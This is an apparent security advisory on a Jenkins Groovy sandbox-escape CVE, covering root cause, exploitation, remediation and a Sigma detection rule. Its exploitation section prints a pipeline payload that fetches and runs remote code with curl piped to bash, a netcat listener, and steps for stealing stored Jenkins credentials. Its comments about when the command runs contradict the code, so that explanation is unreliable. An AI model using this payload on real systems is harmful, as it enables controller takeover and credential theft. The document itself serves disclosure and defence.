Overview
CVE-2026-59637 is a sandbox-escape vulnerability in the Jenkins Script Security plugin, which underpins the Groovy sandbox used by Pipeline (the Jenkinsfile mechanism) and other script-accepting features. A user who is allowed to define or edit a pipeline — a permission handed out liberally to developers — can craft a script that escapes the sandbox and executes as the Jenkins controller process, without the "in-process script approval" step that is supposed to gate dangerous calls.
CVSS 3.1: 8.8 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. It is authenticated (you need an account that can configure a job), but on real Jenkins instances that is a low bar: developers, and often anyone who can open a pull request against a repository whose
Jenkinsfileis trusted, can reach it.
The Jenkins Groovy sandbox has a long history of exactly this bug class — SECURITY advisories for sandbox bypasses appear almost every year, because the sandbox is an allow-list interpreter wrapped around a language designed for metaprogramming. This is the newest gap in that wrapper.
Background — How the Groovy Sandbox Works
When a pipeline runs in sandbox mode, the Script Security plugin does not execute the Groovy source directly. It transforms the script's abstract syntax tree so that every method call, property access, constructor invocation, and field assignment is routed through an interceptor (GroovyInterceptor / the SandboxTransformer). The interceptor checks each operation against an allow-list of signatures that are considered safe; anything not on the list is rejected unless an administrator has explicitly approved that exact signature.
The security of the entire model rests on one assumption: that no Groovy language construct can invoke a method without going through the interceptor. If any syntax reaches a method call the transformer did not wrap, that call runs unchecked — and from one unchecked call to a dangerous class, you are out of the sandbox.
Root Cause — An Un-Intercepted Coercion
Groovy is rich in implicit behaviour, and that richness is the sandbox's enemy. This bug lives in Groovy's type coercion — the as operator and the implicit conversions Groovy performs when it assigns a value to a typed variable. When you coerce a map or closure to an interface or an abstract type, Groovy synthesises an implementing object and, for certain target types, invokes methods (constructors, property setters, getX/setX) as part of building it.
The SandboxTransformer wrapped explicit method calls and constructors, but a specific coercion path constructed and invoked an object without emitting an interceptor call for the methods run during that construction. A script could therefore coerce a crafted map into a type whose instantiation calls an arbitrary method — and that method call never faces the allow-list.
// Conceptually: the sandbox intercepts A, but not the call triggered by B.
def cmd = ['ping','-c','1','10.10.14.9']
// (A) direct — INTERCEPTED, rejected unless approved:
// "whoami".execute()
// (B) coercion path — the method invoked while Groovy materialises the
// target type is NOT routed through the interceptor in the vulnerable
// version, so the call runs unchecked.
def evil = [run: { cmd.execute() }] as Runnable
evil.run() // executes outside the sandbox's view
Once one unchecked call is available, reaching command execution is trivial — Groovy's String.execute(), ProcessBuilder, or a jump to this.class.classLoader all lead to running code as the controller JVM.
Exploitation
The attacker needs an account with Job/Configure (or the ability to submit a Jenkinsfile that Jenkins will execute in sandbox mode). They edit a pipeline job's script to the escape payload and trigger a build. The build runs on the controller with the sandbox believing it enforced its allow-list.
// Malicious pipeline script (sandbox mode "enabled").
// The coercion runs the command while Groovy builds the Runnable,
// bypassing script approval entirely.
pipeline {
agent any
stages {
stage('build') {
steps {
script {
def sh = 'curl http://10.10.14.9/x | bash'
def r = [run: { ['bash','-c', sh].execute().text }] as Runnable
echo r.run() // reverse shell fires as the Jenkins controller
}
}
}
}
}
For instances that expose the Script Console only to admins but allow pipeline editing to many, this is the difference between "trusted developer" and "controller RCE." A build history entry and console log are the only local traces, and the payload can suppress most of its own output.
# From the attacker side: trigger the configured job via the API and
# catch the shell. Requires a low-priv token with Job/Build + Job/Configure.
curl -s -X POST "https://jenkins.internal/job/reports/build" \
-u 'dev:11a...apitoken'
# Listener (nc -lvnp 9001) receives a shell running as the Jenkins service account
# -> read $JENKINS_HOME/credentials.xml, secrets/, and every stored token
Affected Versions
- Script Security Plugin up to and including 1367.vXXXX — vulnerable. The version is what matters, not the Jenkins core release, since the sandbox lives in the plugin.
- Script Security Plugin 1369.v-and-later — fixed. The maintainers added interceptor coverage for the coercion construct so methods invoked during type materialisation are routed through the allow-list.
- Any Jenkins whose plugins have not been updated since the fix should be treated as vulnerable; the sandbox is only as current as the plugin.
Remediation
- Update the Script Security plugin (and the Pipeline: Groovy plugins that depend on it) to the fixed version immediately. Plugin updates, not just core updates, close sandbox holes.
- Treat the sandbox as a speed bump, not a boundary. The durable control is architectural: run builds on ephemeral agents, never on the controller, and give the controller no standing credentials it does not absolutely need. A sandbox escape should land the attacker on a throwaway agent with nothing worth stealing, not on the machine that holds every secret.
- Minimise who holds
Job/ConfigureandOverall/RunScripts. Audit the authorization matrix; most developers do not need to author arbitrary pipeline Groovy, and "anyone who can open a PR" should never map to "anyone who can run controller code." - Rotate all credentials stored in Jenkins after confirming a patch, on the assumption that an unpatched, multi-user controller may already have been abused. Move secrets to a short-lived, externally-brokered model (OIDC to the cloud, Vault dynamic secrets) so a controller compromise does not yield long-lived keys.
- Enable the audit trail plugin and ship build console logs and
$JENKINS_HOMEaccess to a SIEM so escape attempts leave evidence off-box.
Detection
title: CVE-2026-59637 Jenkins Groovy Sandbox Escape Indicators
id: 7c0a52e9-64bf-4c31-9d8a-1e2f4b7c9053
status: experimental
description: Detects pipeline builds spawning OS processes from the Jenkins controller JVM, a hallmark of a Groovy sandbox escape
logsource:
product: linux
category: process_creation
detection:
selection:
ParentImage|endswith:
- '/java' # Jenkins controller JVM
Image|endswith:
- '/bash'
- '/sh'
- '/curl'
- '/python3'
- '/powershell'
filter_agent:
CommandLine|contains: 'remoting.jar' # legitimate agent bootstrap
condition: selection and not filter_agent
falsepositives:
- Freestyle jobs legitimately configured to run shell on the controller; baseline expected build behaviour and alert on deviations
level: high
tags:
- cve.2026-59637
- attack.execution
- attack.t1059
- attack.privilege_escalation
Key Takeaways
- Sandboxing a metaprogramming language is a structurally losing game. Groovy was built to invoke methods through coercions, builders, category classes, AST transforms, and operator overloading — a dozen indirect paths to a method call. An allow-list interpreter has to intercept every one of them, and the history of Jenkins sandbox CVEs is a history of the ones it missed. If you must run untrusted code, isolate it with an OS- or VM-level boundary (a container, a microVM, a separate low-trust host), not a language-level interpreter wrapper that shares the process with your secrets.
- CI/CD controllers are crown-jewel infrastructure and should be modelled as such. Jenkins holds deploy credentials, cloud keys, signing material, and source access — compromising the controller is often a shorter path to production than attacking production directly. Builds must run on disposable agents, the controller must hold the minimum standing secrets, and access to author build logic must be tightly scoped. Design so that code execution on an agent, or even an escape on the controller, is contained rather than catastrophic.
- "Authenticated, low-privilege" is not reassuring in a developer tool. The permission this bug needs — configure a job, open a pull request against a trusted pipeline — is held by large numbers of people in any real engineering org, and the insider or the phished developer account is a routine threat model. Rate the risk by who actually holds the permission in practice, not by the fact that a login is required.